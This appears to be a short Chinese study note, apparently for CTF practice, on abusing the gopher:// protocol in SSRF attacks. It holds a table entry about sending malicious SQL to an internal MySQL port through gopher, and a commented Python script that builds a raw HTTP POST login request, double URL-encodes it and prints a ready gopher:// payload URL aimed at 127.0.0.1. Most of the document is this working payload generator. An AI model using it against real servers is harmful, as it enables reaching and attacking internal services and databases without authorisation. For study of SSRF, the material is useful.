gopher://协议使用
标签(空格分隔): SSRF
|gopher|发送原始 TCP 数据(高级利用)|构造gopher://127.0.0.1:3306/_%23…(向 MySQL 发送恶意 SQL 命令)|
|——|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| 传输脚本如下 # 导入urllib.parse模块,用于URL编码处理 import urllib.parse
# 定义目标主机和端口 host = "127.0.0.1:80" # 定义POST请求的表单数据(模拟登录的用户名和密码)\\\\\\\\\\\\\\\\\\\\注意根据题目不同进行参数更改 content = "uname=admin&passwd=admin" # 计算POST数据的长度,用于HTTP头中的Content-Length字段 content_length = len(content)
# 构造完整的POST请求报文(HTTP协议格式) test =\ """POST /index.php HTTP/1.1 # HTTP方法为POST,请求路径为/index.php,协议版本1.1 Host: {} # 目标主机(通过format填充上面定义的host变量) User-Agent: curl/7.43.0 # 模拟curl的User-Agent头 Accept: */* # 接受所有类型的响应数据 Content-Type: application/x-www-form-urlencoded # 表单数据的MIME类型 Content-Length: {} # POST数据的长度(通过format填充content_length变量)
{} # POST请求的表单数据(通过format填充content变量) # """.format(host,content_length,content) # 用format方法替换占位符,填充host、长度和数据
# 对构造的HTTP报文进行第一次URL编码(将特殊字符转为%XX格式) tmp = urllib.parse.quote(test) # 将编码后的换行符%0A(\n)替换为HTTP标准的回车换行%0D%0A(\r\n),避免协议解析错误 new = tmp.replace("%0A","%0D%0A") # 对处理后的字符串进行第二次URL编码,确保gopher协议能正确解析 result = urllib.parse.quote(new) # 拼接为gopher协议URL(格式:gopher://主机/_编码后的请求内容),用于SSRF等场景 print("gopher://"+host+"/_"+result)
|